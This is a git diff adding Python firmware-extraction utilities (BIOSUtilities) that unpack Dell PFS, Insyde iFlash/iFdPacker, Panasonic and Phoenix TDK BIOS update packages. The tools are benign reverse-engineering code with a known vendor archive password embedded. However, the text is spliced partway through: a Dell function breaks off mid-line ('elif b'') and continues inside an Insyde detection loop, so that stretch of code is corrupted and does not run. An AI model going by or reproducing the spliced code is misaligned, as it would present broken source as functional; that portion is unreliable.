pfs_entry.DataMetSize + + # PFS Entry Metadata Signature starts after PFS Entry Metadata + entry_met_sig_start = entry_met_end + entry_met_sig_end = entry_met_sig_start + pfs_entry.DataMetSigSize + + entry_data = entry_buffer[entry_data_start:entry_data_end] # Store PFS Entry Data + entry_data_sig = entry_buffer[entry_data_sig_start:entry_data_sig_end] # Store PFS Entry Data Signature + entry_met = entry_buffer[entry_met_start:entry_met_end] # Store PFS Entry Metadata + entry_met_sig = entry_buffer[entry_met_sig_start:entry_met_sig_end] # Store PFS Entry Metadata Signature + + return pfs_entry, entry_version, entry_guid, entry_data, entry_data_sig, entry_met, entry_met_sig, entry_met_sig_end + +# Parse Dell PFS Volume with PFAT Payload +def parse_pfat_pfs(entry_hdr, entry_data, padding=0, structure=True): + # Show PFS Volume indicator + if structure: + printer('PFS Volume:', padding + 4) + + # Show sub-PFS Header Structure Info + if structure: + printer('PFS Header:\n', padding + 8) + entry_hdr.struct_print(padding + 12) + + # Validate that a known sub-PFS Header Version was encountered + chk_hdr_ver(entry_hdr.HeaderVersion, 'sub-PFS', padding + 12) + + # Get sub-PFS Payload Data + pfat_payload = entry_data[PFS_HEAD_LEN:PFS_HEAD_LEN + entry_hdr.PayloadSize] + + # Get sub-PFS Footer Data after sub-PFS Header Payload (must be retrieved at the initial entry_data, before PFAT parsing) + pfat_footer = entry_data[PFS_HEAD_LEN + entry_hdr.PayloadSize:PFS_HEAD_LEN + entry_hdr.PayloadSize + PFS_FOOT_LEN] + + # Parse all sub-PFS Payload PFAT Entries + pfat_entries_all = [] # Storage for all sub-PFS PFAT Entries Order/Offset & Payload/Raw Data + pfat_entry_start = 0 # Increasing sub-PFS PFAT Entry start offset + pfat_entry_index = 1 # Increasing sub-PFS PFAT Entry count index + _, pfs_entry_size = get_pfs_entry(pfat_payload, 0) # Get initial PFS PFAT Entry Size for loop + while len(pfat_payload[pfat_entry_start:pfat_entry_start + pfs_entry_size]) == pfs_entry_size: + # Get sub-PFS PFAT Entry Structure & Size info + pfat_entry_struct,pfat_entry_size = get_pfs_entry(pfat_payload, pfat_entry_start) + + # Analyze sub-PFS PFAT Entry Structure and get relevant info + pfat_entry,_,_,pfat_entry_data,_,pfat_entry_met,_,pfat_next_entry = parse_pfs_entry(pfat_payload, + pfat_entry_start, pfat_entry_size, pfat_entry_struct, 'sub-PFS PFAT Entry', padding + 4, structure) + + # Each sub-PFS PFAT Entry includes an AMI BIOS Guard (a.k.a. PFAT) block at the beginning + # We need to parse the PFAT block and remove its contents from the final Payload/Raw Data + pfat_hdr_off = pfat_entry_start + pfat_entry_size # PFAT block starts after PFS Entry + + # Get sub-PFS PFAT Header Structure values + pfat_hdr = get_struct(pfat_payload, pfat_hdr_off, IntelBiosGuardHeader) + + # Get ordinal value of the sub-PFS PFAT Entry Index + pfat_entry_idx_ord = get_ordinal(pfat_entry_index) + + # Show sub-PFS PFAT Header Structure info + if structure: + printer(f'PFAT Block {pfat_entry_idx_ord} - Header:\n', padding + 12) + pfat_hdr.struct_print(padding + 16) + + pfat_script_start = pfat_hdr_off + PFAT_HDR_LEN # PFAT Block Script Start + pfat_script_end = pfat_script_start + pfat_hdr.ScriptSize # PFAT Block Script End + pfat_script_data = pfat_payload[pfat_script_start:pfat_script_end] # PFAT Block Script Data + pfat_payload_start = pfat_script_end # PFAT Block Payload Start (at Script end) + pfat_payload_end = pfat_script_end + pfat_hdr.DataSize # PFAT Block Data End + pfat_payload_data = pfat_payload[pfat_payload_start:pfat_payload_end] # PFAT Block Raw Data + pfat_hdr_bgs_size = PFAT_HDR_LEN + pfat_hdr.ScriptSize # PFAT Block Header & Script Size + + # The PFAT Script End should match the total Entry Data Size w/o PFAT block + if pfat_hdr_bgs_size != pfat_entry.DataSize - pfat_hdr.DataSize: + printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} Header & PFAT Size mismatch!', padding + 16) + + # Get PFAT Header Flags (SFAM, ProtectEC, GFXMitDis, FTU, Reserved) + is_sfam,_,_,_,_ = pfat_hdr.get_flags() + + # Parse sub-PFS PFAT Signature, if applicable (only when PFAT Header > SFAM flag is set) + if is_sfam and len(pfat_payload[pfat_payload_end:pfat_payload_end + PFAT_SIG_LEN]) == PFAT_SIG_LEN: + # Get sub-PFS PFAT Signature Structure values + pfat_sig = get_struct(pfat_payload, pfat_payload_end, IntelBiosGuardSignature2k) + + # Show sub-PFS PFAT Signature Structure info + if structure: + printer(f'PFAT Block {pfat_entry_idx_ord} - Signature:\n', padding + 12) + pfat_sig.struct_print(padding + 16) + + # Show PFAT Script via BIOS Guard Script Tool + if structure: + printer(f'PFAT Block {pfat_entry_idx_ord} - Script:\n', padding + 12) + + _ = parse_bg_script(pfat_script_data, padding + 16) + + # The payload of sub-PFS PFAT Entries is not in proper order by default + # We can get each payload's order from PFAT Script > OpCode #2 (set I0 imm) + # PFAT Script OpCode #2 > Operand #3 stores the payload Offset in final image + pfat_entry_off = int.from_bytes(pfat_script_data[0xC:0x10], 'little') + + # We can get each payload's length from PFAT Script > OpCode #4 (set I2 imm) + # PFAT Script OpCode #4 > Operand #3 stores the payload Length in final image + pfat_entry_len = int.from_bytes(pfat_script_data[0x1C:0x20], 'little') + + # Check that the PFAT Entry Length from Header & Script match + if pfat_hdr.DataSize != pfat_entry_len: + printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} Header & Script Length mismatch!', padding + 12) + + # Initialize sub-PFS PFAT Entry Metadata Address + pfat_entry_adr = pfat_entry_off + + # Parse sub-PFS PFAT Entry/Block Metadata + if len(pfat_entry_met) >= PFS_PFAT_LEN: + # Get sub-PFS PFAT Metadata Structure values + pfat_met = get_struct(pfat_entry_met, 0, DellPfsPfatMetadata) + + # Store sub-PFS PFAT Entry Metadata Address + pfat_entry_adr = pfat_met.Address + + # Show sub-PFS PFAT Metadata Structure info + if structure: + printer(f'PFAT Block {pfat_entry_idx_ord} - Metadata:\n', padding + 12) + pfat_met.struct_print(padding + 16) + + # Another way to get each PFAT Entry Offset is from its Metadata, if applicable + # Check that the PFAT Entry Offsets from PFAT Script and PFAT Metadata match + if pfat_entry_off != pfat_met.Offset: + printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} Metadata & PFAT Offset mismatch!', padding + 16) + pfat_entry_off = pfat_met.Offset # Prefer Offset from Metadata, in case PFAT Script differs + + # Another way to get each PFAT Entry Length is from its Metadata, if applicable + # Check that the PFAT Entry Length from PFAT Script and PFAT Metadata match + if not (pfat_hdr.DataSize == pfat_entry_len == pfat_met.DataSize): + printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} Metadata & PFAT Length mismatch!', padding + 16) + + # Check that the PFAT Entry payload Size from PFAT Header matches the one from PFAT Metadata + if pfat_hdr.DataSize != pfat_met.DataSize: + printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} Metadata & PFAT Block Size mismatch!', padding + 16) + + # Get sub-PFS Entry Raw Data by subtracting PFAT Header & Script from PFAT Entry Data + pfat_entry_data_raw = pfat_entry_data[pfat_hdr_bgs_size:] + + # The sub-PFS Entry Raw Data (w/o PFAT Header & Script) should match with the PFAT Block payload + if pfat_entry_data_raw != pfat_payload_data: + printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} w/o PFAT & PFAT Block Data mismatch!', padding + 16) + pfat_entry_data_raw = pfat_payload_data # Prefer Data from PFAT Block, in case PFAT Entry differs + + # Store each sub-PFS PFAT Entry/Block Offset, Address, Ordinal Index and Payload/Raw Data + # Goal is to sort these based on Offset first and Address second, in cases of same Offset + # For example, Precision 3430 has two PFAT Entries with the same Offset of 0x40000 at both + # BG Script and PFAT Metadata but their PFAT Metadata Address is 0xFF040000 and 0xFFA40000 + pfat_entries_all.append((pfat_entry_off, pfat_entry_adr, pfat_entry_idx_ord, pfat_entry_data_raw)) + + # Check if next sub-PFS PFAT Entry offset is valid + if pfat_next_entry <= 0: + printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} with invalid next PFAT Block offset!', padding + 16) + pfat_next_entry += pfs_entry_size # Avoid a potential infinite loop if next sub-PFS PFAT Entry offset is bad + + pfat_entry_start = pfat_next_entry # Next sub-PFS PFAT Entry starts after sub-PFS Entry Metadata Signature + + pfat_entry_index += 1 + + pfat_entries_all.sort() # Sort all sub-PFS PFAT Entries based on their Offset/Address + + block_start_exp = 0 # Initialize sub-PFS PFAT Entry expected Offset + total_pfat_data = b'' # Initialize final/ordered sub-PFS Entry Data + + # Parse all sorted sub-PFS PFAT Entries and merge their payload/data + for block_start,_,block_index,block_data in pfat_entries_all: + # Fill any data gaps between sorted sub-PFS PFAT Entries with padding + # For example, Precision 7960 v0.16.68 has gap at 0x1190000-0x11A0000 + block_data_gap = block_start - block_start_exp + if block_data_gap > 0: + printer(f'Warning: Filled sub-PFS PFAT {block_index} data gap 0x{block_data_gap:X} [0x{block_start_exp:X}-0x{block_start:X}]!', padding + 8) + total_pfat_data += b'\xFF' * block_data_gap # Use 0xFF padding to fill in data gaps in PFAT UEFI firmware images + + total_pfat_data += block_data # Append sorted sub-PFS PFAT Entry payload/data + + block_start_exp = len(total_pfat_data) # Set next sub-PFS PFAT Entry expected Start + + # Verify that the end offset of the last PFAT Entry matches the final sub-PFS Entry Data Size + if len(total_pfat_data) != pfat_entries_all[-1][0] + len(pfat_entries_all[-1][3]): + printer('Error: Detected sub-PFS PFAT total buffer size and last block end mismatch!', padding + 8) + + # Analyze sub-PFS Footer Structure + chk_pfs_ftr(pfat_footer, pfat_payload, entry_hdr.PayloadSize, 'Sub-PFS', padding + 4, structure) + + return total_pfat_data + +# Get Dell PFS Entry Structure & Size via its Version +def get_pfs_entry(buffer, offset): + pfs_entry_ver = int.from_bytes(buffer[offset + 0x10:offset + 0x14], 'little') # PFS Entry Version + + if pfs_entry_ver == 1: + return DellPfsEntryR1, ctypes.sizeof(DellPfsEntryR1) + + if pfs_entry_ver == 2: + return DellPfsEntryR2, ctypes.sizeof(DellPfsEntryR2) + + return DellPfsEntryR2, ctypes.sizeof(DellPfsEntryR2) + +# Determine Dell PFS Entry Version string +def get_entry_ver(version_fields, version_types): + version = '' # Initialize Version string + + # Each Version Type (1 byte) determines the type of each Version Value (2 bytes) + # Version Type 'N' is Number, 'A' is Text and ' ' is Empty/Unused + for index,field in enumerate(version_fields): + eol = '' if index == len(version_fields) - 1 else '.' + + if version_types[index] == 65: + version += f'{field:X}{eol}' # 0x41 = ASCII + elif version_types[index] == 78: + version += f'{field:d}{eol}' # 0x4E = Number + elif version_types[index] in (0, 32): + version = version.strip('.') # 0x00 or 0x20 = Unused + else: + version += f'{field:X}{eol}' # Unknown + + return version + +# Check if Dell PFS Header Version is known +def chk_hdr_ver(version, text, padding=0): + if version in (1,2): + return + + printer(f'Error: Unknown {text} Header Version {version}!', padding) + + return + +# Analyze Dell PFS Footer Structure +def chk_pfs_ftr(footer_buffer, data_buffer, data_size, text, padding=0, structure=True): + # Get PFS Footer Structure values + pfs_ftr = get_struct(footer_buffer, 0, DellPfsFooter) + + # Validate that a PFS Footer was parsed + if pfs_ftr.Tag == b'PFS.FTR.': + # Show PFS Footer Structure info + if structure: + printer('PFS Footer:\n', padding + 4) + pfs_ftr.struct_print(padding + 8) + else: + printer(f'Error: {text} Footer could not be found!', padding + 4) + + # Validate that PFS Header Payload Size matches the one at PFS Footer + if data_size != pfs_ftr.PayloadSize: + printer(f'Error: {text} Header & Footer Payload Size mismatch!', padding + 4) + + # Calculate the PFS Payload Data CRC-32 w/ Vector 0 + pfs_ftr_crc = ~zlib.crc32(data_buffer, 0) & 0xFFFFFFFF + + # Validate PFS Payload Data Checksum via PFS Footer + if pfs_ftr.Checksum != pfs_ftr_crc: + printer(f'Error: Invalid {text} Footer Payload Checksum!', padding + 4) + +# Write/Extract Dell PFS Entry Files (Data, Metadata, Signature) +def pfs_file_write(bin_buff, bin_name, bin_type, full_name, out_path, padding=0, structure=True, advanced=True): + # Store Data/Metadata Signature (advanced users only) + if bin_name.startswith('sign'): + final_name = f'{safe_name(full_name)}.{bin_name.split("_")[1]}.sig' + final_path = os.path.join(out_path, final_name) + + with open(final_path, 'wb') as pfs_out: + pfs_out.write(bin_buff) # Write final Data/Metadata Signature + + return # Skip further processing for Signatures + + # Store Data/Metadata Payload + bin_ext = f'.{bin_name}.bin' if advanced else '.bin' # Simpler Data/Metadata Extension for non-advanced users + + # Some Data may be Text or XML files with useful information for non-advanced users + is_text,final_data,file_ext,write_mode = bin_is_text(bin_buff, bin_type, bin_name == 'meta', padding, structure, advanced) + + final_name = f'{safe_name(full_name)}{bin_ext[:-4] + file_ext if is_text else bin_ext}' + final_path = os.path.join(out_path, final_name) + + with open(final_path, write_mode) as pfs_out: + pfs_out.write(final_data) # Write final Data/Metadata Payload + +# Check if Dell PFS Entry file/data is Text/XML and Convert +def bin_is_text(buffer, file_type, is_metadata, padding=0, structure=True, advanced=True): + is_text = False + write_mode = 'wb' + extension = '.bin' + buffer_in = buffer + + if b',END' in buffer[-0x8:]: # Text Type 1 + is_text = True + write_mode = 'w' + extension = '.txt' + buffer = buffer.decode('utf-8').split(',END')[0].replace(';','\n') + elif buffer.startswith(b'VendorName=Dell'): # Text Type 2 + is_text = True + write_mode = 'w' + extension = '.txt' + buffer = buffer.split(b'\x00')[0].decode('utf-8').replace(';','\n') + elif b' len(input_buffer): + continue + + iflash_match_all.append([ifl_bgn, ifl_hdr]) + + return iflash_match_all + +# Extract Insyde iFlash Update image +def insyde_iflash_extract(input_buffer, extract_path, padding=0): + insyde_iflash_all = insyde_iflash_detect(input_buffer) + + if not insyde_iflash_all: + return 127 + + printer('Detected Insyde iFlash Update image!', padding) + + make_dirs(extract_path, delete=True) + + exit_codes = [] + + for insyde_iflash in insyde_iflash_all: + exit_code = 0 + + ifl_bgn,ifl_hdr = insyde_iflash + + img_bgn = ifl_bgn + INS_IFL_LEN + img_end = img_bgn + ifl_hdr.ImageSize + img_bin = input_buffer[img_bgn:img_end] + + if len(img_bin) != ifl_hdr.ImageSize: + exit_code = 1 + + img_val = [ifl_hdr.get_image_tag(), 'bin'] + img_tag,img_ext = INS_IFL_IMG.get(img_val[0], img_val) + + img_name = f'{img_tag} [0x{img_bgn:08X}-0x{img_end:08X}]' + + printer(f'{img_name}\n', padding + 4) + + ifl_hdr.struct_print(padding + 8) + + if img_val == [img_tag,img_ext]: + printer(f'Note: Detected new Insyde iFlash tag {img_tag}!', padding + 12, pause=True) + + out_name = f'{img_name}.{img_ext}' + + out_path = os.path.join(extract_path, safe_name(out_name)) + + with open(out_path, 'wb') as out_image: + out_image.write(img_bin) + + printer(f'Succesfull Insyde iFlash > {img_tag} extraction!', padding + 12) + + exit_codes.append(exit_code) + + return sum(exit_codes) + +# Extract Insyde iFdPacker 7-Zip SFX 7z Update image +def insyde_packer_extract(input_buffer, extract_path, padding=0): + match_sfx = PAT_INSYDE_SFX.search(input_buffer) + + if not match_sfx: + return 127 + + printer('Detected Insyde iFdPacker Update image!', padding) + + make_dirs(extract_path, delete=True) + + sfx_buffer = bytearray(input_buffer[match_sfx.end() - 0x5:]) + + if sfx_buffer[:0x5] == b'\x6E\xF4\x79\x5F\x4E': + printer('Detected Insyde iFdPacker > 7-Zip SFX > Obfuscation!', padding + 4) + + for index,byte in enumerate(sfx_buffer): + sfx_buffer[index] = byte // 2 + (128 if byte % 2 else 0) + + printer('Removed Insyde iFdPacker > 7-Zip SFX > Obfuscation!', padding + 8) + + printer('Extracting Insyde iFdPacker > 7-Zip SFX archive...', padding + 4) + + if bytes(INS_SFX_PWD, 'utf-16le') in input_buffer[:match_sfx.start()]: + printer('Detected Insyde iFdPacker > 7-Zip SFX > Password!', padding + 8) + printer(INS_SFX_PWD, padding + 12) + + sfx_path = os.path.join(extract_path, 'Insyde_iFdPacker_SFX.7z') + + with open(sfx_path, 'wb') as sfx_file: + sfx_file.write(sfx_buffer) + + if is_szip_supported(sfx_path, padding + 8, args=[f'-p{INS_SFX_PWD}'], check=True): + if szip_decompress(sfx_path, extract_path, 'Insyde iFdPacker > 7-Zip SFX', + padding + 8, args=[f'-p{INS_SFX_PWD}'], check=True) == 0: + os.remove(sfx_path) + else: + return 125 + else: + return 126 + + exit_codes = [] + + for sfx_file in get_path_files(extract_path): + if is_insyde_ifd(sfx_file): + printer(f'{os.path.basename(sfx_file)}', padding + 12) + + ifd_code = insyde_ifd_extract(sfx_file, get_extract_path(sfx_file), padding + 16) + + exit_codes.append(ifd_code) + + return sum(exit_codes) + +# Insyde iFdPacker known 7-Zip SFX Password +INS_SFX_PWD = 'Y`t~i!L@i#t$U%h^s7A*l(f)E-d=y+S_n?i' + +# Insyde iFlash known Image Names +INS_IFL_IMG = { + 'BIOSCER' : ['Certificate', 'bin'], + 'BIOSCR2' : ['Certificate 2nd', 'bin'], + 'BIOSIMG' : ['BIOS-UEFI', 'bin'], + 'DRV_IMG' : ['isflash', 'efi'], + 'EC_IMG' : ['Embedded Controller', 'bin'], + 'INI_IMG' : ['platform', 'ini'], + 'ME_IMG' : ['Management Engine', 'bin'], + 'OEM_ID' : ['OEM Identifier', 'bin'], + } + +# Get common ctypes Structure Sizes +INS_IFL_LEN = ctypes.sizeof(IflashHeader) + +if __name__ == '__main__': + BIOSUtility(TITLE, is_insyde_ifd, insyde_ifd_extract).run_utility() diff --git a/blobs/t480/biosutilities/LICENSE b/blobs/t480/biosutilities/LICENSE new file mode 100644 index 000000000..06831fb23 --- /dev/null +++ b/blobs/t480/biosutilities/LICENSE @@ -0,0 +1,19 @@ +Copyright (c) 2019-2022 Plato Mavropoulos + +Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: + +1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. + +Subject to the terms and conditions of this license, each copyright holder and contributor hereby grants to those receiving rights under this license a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except for failure to satisfy the conditions of this license) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer this software, where such license applies only to those patent claims, already acquired or hereafter acquired, licensable by such copyright holder or contributor that are necessarily infringed by: + +(a) their Contribution(s) (the licensed copyrights of copyright holders and non-copyrightable additions of contributors, in source or binary form) alone; or + +(b) combination of their Contribution(s) with the work of authorship to which such Contribution(s) was added by such copyright holder or contributor, if, at the time the Contribution is added, such addition causes such combination to be necessarily infringed. The patent license shall not apply to any other combinations which include the Contribution. + +Except as expressly stated above, no rights or licenses from any copyright holder or contributor is granted under this license, whether expressly, by implication, estoppel or otherwise. + +DISCLAIMER + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/blobs/t480/biosutilities/Panasonic_BIOS_Extract.py b/blobs/t480/biosutilities/Panasonic_BIOS_Extract.py new file mode 100644 index 000000000..096bec3df --- /dev/null +++ b/blobs/t480/biosutilities/Panasonic_BIOS_Extract.py @@ -0,0 +1,209 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Panasonic BIOS Extract +Panasonic BIOS Package Extractor +Copyright (C) 2018-2022 Plato Mavropoulos +""" + +TITLE = 'Panasonic BIOS Package Extractor v2.0_a10' + +import os +import io +import sys +import lznt1 +import pefile + +# Stop __pycache__ generation +sys.dont_write_bytecode = True + +from common.comp_szip import is_szip_supported, szip_decompress +from common.path_ops import get_path_files, make_dirs, path_stem, safe_name +from common.pe_ops import get_pe_file, get_pe_info, is_pe_file, show_pe_info +from common.patterns import PAT_MICROSOFT_CAB +from common.system import printer +from common.templates import BIOSUtility +from common.text_ops import file_to_bytes + +from AMI_PFAT_Extract import is_ami_pfat, parse_pfat_file + +# Check if input is Panasonic BIOS Package PE +def is_panasonic_pkg(in_file): + in_buffer = file_to_bytes(in_file) + + pe_file = get_pe_file(in_buffer, fast=True) + + if not pe_file: + return False + + pe_info = get_pe_info(pe_file) + + if not pe_info: + return False + + if pe_info.get(b'FileDescription',b'').upper() != b'UNPACK UTILITY': + return False + + if not PAT_MICROSOFT_CAB.search(in_buffer): + return False + + return True + +# Search and Extract Panasonic BIOS Package PE CAB archive +def panasonic_cab_extract(buffer, extract_path, padding=0): + pe_path,pe_file,pe_info = [None] * 3 + + cab_bgn = PAT_MICROSOFT_CAB.search(buffer).start() + cab_len = int.from_bytes(buffer[cab_bgn + 0x8:cab_bgn + 0xC], 'little') + cab_end = cab_bgn + cab_len + cab_bin = buffer[cab_bgn:cab_end] + cab_tag = f'[0x{cab_bgn:06X}-0x{cab_end:06X}]' + + cab_path = os.path.join(extract_path, f'CAB_{cab_tag}.cab') + + with open(cab_path, 'wb') as cab_file: + cab_file.write(cab_bin) # Store CAB archive + + if is_szip_supported(cab_path, padding, check=True): + printer(f'Panasonic BIOS Package > PE > CAB {cab_tag}', padding) + + if szip_decompress(cab_path, extract_path, 'CAB', padding + 4, check=True) == 0: + os.remove(cab_path) # Successful extraction, delete CAB archive + else: + return pe_path, pe_file, pe_info + else: + return pe_path, pe_file, pe_info + + for file_path in get_path_files(extract_path): + pe_file = get_pe_file(file_path, fast=True) + if pe_file: + pe_info = get_pe_info(pe_file) + if pe_info.get(b'FileDescription',b'').upper() == b'BIOS UPDATE': + pe_path = file_path + break + else: + return pe_path, pe_file, pe_info + + return pe_path, pe_file, pe_info + +# Extract & Decompress Panasonic BIOS Update PE RCDATA (LZNT1) +def panasonic_res_extract(pe_name, pe_file, extract_path, padding=0): + is_rcdata = False + + # When fast_load is used, IMAGE_DIRECTORY_ENTRY_RESOURCE must be parsed prior to RCDATA Directories + pe_file.parse_data_directories(directories=[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_RESOURCE']]) + + # Parse all Resource Data Directories > RCDATA (ID = 10) + for entry in pe_file.DIRECTORY_ENTRY_RESOURCE.entries: + if entry.struct.name == 'IMAGE_RESOURCE_DIRECTORY_ENTRY' and entry.struct.Id == 0xA: + is_rcdata = True + for resource in entry.directory.entries: + res_bgn = resource.directory.entries[0].data.struct.OffsetToData + res_len = resource.directory.entries[0].data.struct.Size + res_end = res_bgn + res_len + res_bin = pe_file.get_data(res_bgn, res_len) + res_tag = f'{pe_name} [0x{res_bgn:06X}-0x{res_end:06X}]' + res_out = os.path.join(extract_path, f'{res_tag}') + + printer(res_tag, padding + 4) + + try: + res_raw = lznt1.decompress(res_bin[0x8:]) + + printer('Succesfull LZNT1 decompression via lznt1!', padding + 8) + except Exception: + res_raw = res_bin + + printer('Succesfull PE Resource extraction!', padding + 8) + + # Detect & Unpack AMI BIOS Guard (PFAT) BIOS image + if is_ami_pfat(res_raw): + pfat_dir = os.path.join(extract_path, res_tag) + + parse_pfat_file(res_raw, pfat_dir, padding + 12) + else: + if is_pe_file(res_raw): + res_ext = 'exe' + elif res_raw.startswith(b'[') and res_raw.endswith((b'\x0D\x0A',b'\x0A')): + res_ext = 'txt' + else: + res_ext = 'bin' + + if res_ext == 'txt': + printer(new_line=False) + for line in io.BytesIO(res_raw).readlines(): + line_text = line.decode('utf-8','ignore').rstrip() + printer(line_text, padding + 12, new_line=False) + + with open(f'{res_out}.{res_ext}', 'wb') as out_file: + out_file.write(res_raw) + + return is_rcdata + +# Extract Panasonic BIOS Update PE Data when RCDATA is not available +def panasonic_img_extract(pe_name, pe_path, pe_file, extract_path, padding=0): + pe_data = file_to_bytes(pe_path) + + sec_bgn = pe_file.OPTIONAL_HEADER.DATA_DIRECTORY[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_SECURITY']].VirtualAddress + img_bgn = pe_file.OPTIONAL_HEADER.BaseOfData + pe_file.OPTIONAL_HEADER.SizeOfInitializedData + img_end = sec_bgn or len(pe_data) + img_bin = pe_data[img_bgn:img_end] + img_tag = f'{pe_name} [0x{img_bgn:X}-0x{img_end:X}]' + img_out = os.path.join(extract_path, f'{img_tag}.bin') + + printer(img_tag, padding + 4) + + with open(img_out, 'wb') as out_img: + out_img.write(img_bin) + + printer('Succesfull PE Data extraction!', padding + 8) + + return bool(img_bin) + +# Parse & Extract Panasonic BIOS Package PE +def panasonic_pkg_extract(input_file, extract_path, padding=0): + input_buffer = file_to_bytes(input_file) + + make_dirs(extract_path, delete=True) + + pkg_pe_file = get_pe_file(input_buffer, fast=True) + + if not pkg_pe_file: + return 2 + + pkg_pe_info = get_pe_info(pkg_pe_file) + + if not pkg_pe_info: + return 3 + + pkg_pe_name = path_stem(input_file) + + printer(f'Panasonic BIOS Package > PE ({pkg_pe_name})\n', padding) + + show_pe_info(pkg_pe_info, padding + 4) + + upd_pe_path,upd_pe_file,upd_pe_info = panasonic_cab_extract(input_buffer, extract_path, padding + 4) + + if not (upd_pe_path and upd_pe_file and upd_pe_info): + return 4 + + upd_pe_name = safe_name(path_stem(upd_pe_path)) + + printer(f'Panasonic BIOS Update > PE ({upd_pe_name})\n', padding + 12) + + show_pe_info(upd_pe_info, padding + 16) + + is_upd_res, is_upd_img = False, False + + is_upd_res = panasonic_res_extract(upd_pe_name, upd_pe_file, extract_path, padding + 16) + + if not is_upd_res: + is_upd_img = panasonic_img_extract(upd_pe_name, upd_pe_path, upd_pe_file, extract_path, padding + 16) + + os.remove(upd_pe_path) + + return 0 if is_upd_res or is_upd_img else 1 + +if __name__ == '__main__': + BIOSUtility(TITLE, is_panasonic_pkg, panasonic_pkg_extract).run_utility() diff --git a/blobs/t480/biosutilities/Phoenix_TDK_Extract.py b/blobs/t480/biosutilities/Phoenix_TDK_Extract.py new file mode 100644 index 000000000..3328ad418 --- /dev/null +++ b/blobs/t480/biosutilities/Phoenix_TDK_Extract.py @@ -0,0 +1,243 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Phoenix TDK Extract +Phoenix TDK Packer Extractor +Copyright (C) 2021-2022 Plato Mavropoulos +""" + +TITLE = 'Phoenix TDK Packer Extractor v2.0_a10' + +import os +import sys +import lzma +import ctypes + +# Stop __pycache__ generation +sys.dont_write_bytecode = True + +from common.path_ops import make_dirs, safe_name +from common.pe_ops import get_pe_file, get_pe_info +from common.patterns import PAT_MICROSOFT_MZ, PAT_MICROSOFT_PE, PAT_PHOENIX_TDK +from common.struct_ops import char, get_struct, uint32_t +from common.system import printer +from common.templates import BIOSUtility +from common.text_ops import file_to_bytes + +class PhoenixTdkHeader(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('Tag', char*8), # 0x00 + ('Size', uint32_t), # 0x08 + ('Count', uint32_t), # 0x0C + # 0x10 + ] + + def _get_tag(self): + return self.Tag.decode('utf-8','ignore').strip() + + def struct_print(self, p): + printer(['Tag :', self._get_tag()], p, False) + printer(['Size :', f'0x{self.Size:X}'], p, False) + printer(['Entries:', self.Count], p, False) + +class PhoenixTdkEntry(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('Name', char*256), # 0x000 + ('Offset', uint32_t), # 0x100 + ('Size', uint32_t), # 0x104 + ('Compressed', uint32_t), # 0x108 + ('Reserved', uint32_t), # 0x10C + # 0x110 + ] + + COMP = {0: 'None', 1: 'LZMA'} + + def __init__(self, mz_base, *args, **kwargs): + super().__init__(*args, **kwargs) + self.Base = mz_base + + def get_name(self): + return self.Name.decode('utf-8','replace').strip() + + def get_offset(self): + return self.Base + self.Offset + + def get_compression(self): + return self.COMP.get(self.Compressed, f'Unknown ({self.Compressed})') + + def struct_print(self, p): + printer(['Name :', self.get_name()], p, False) + printer(['Offset :', f'0x{self.get_offset():X}'], p, False) + printer(['Size :', f'0x{self.Size:X}'], p, False) + printer(['Compression:', self.get_compression()], p, False) + printer(['Reserved :', f'0x{self.Reserved:X}'], p, False) + +# Get Phoenix TDK Executable (MZ) Base Offset +def get_tdk_base(in_buffer, pack_off): + tdk_base_off = None # Initialize Phoenix TDK Base MZ Offset + + # Scan input file for all Microsoft executable patterns (MZ) before TDK Header Offset + mz_all = [mz for mz in PAT_MICROSOFT_MZ.finditer(in_buffer) if mz.start() < pack_off] + + # Phoenix TDK Header structure is an index table for all TDK files + # Each TDK file is referenced from the TDK Packer executable base + # The TDK Header is always at the end of the TDK Packer executable + # Thus, prefer the TDK Packer executable (MZ) closest to TDK Header + # For speed, check MZ closest to (or at) 0x0 first (expected input) + mz_ord = [mz_all[0]] + list(reversed(mz_all[1:])) + + # Parse each detected MZ + for mz in mz_ord: + mz_off = mz.start() + + # MZ (DOS) > PE (NT) image Offset is found at offset 0x3C-0x40 relative to MZ base + pe_off = mz_off + int.from_bytes(in_buffer[mz_off + 0x3C:mz_off + 0x40], 'little') + + # Skip MZ (DOS) with bad PE (NT) image Offset + if pe_off == mz_off or pe_off >= pack_off: + continue + + # Check if potential MZ > PE image magic value is 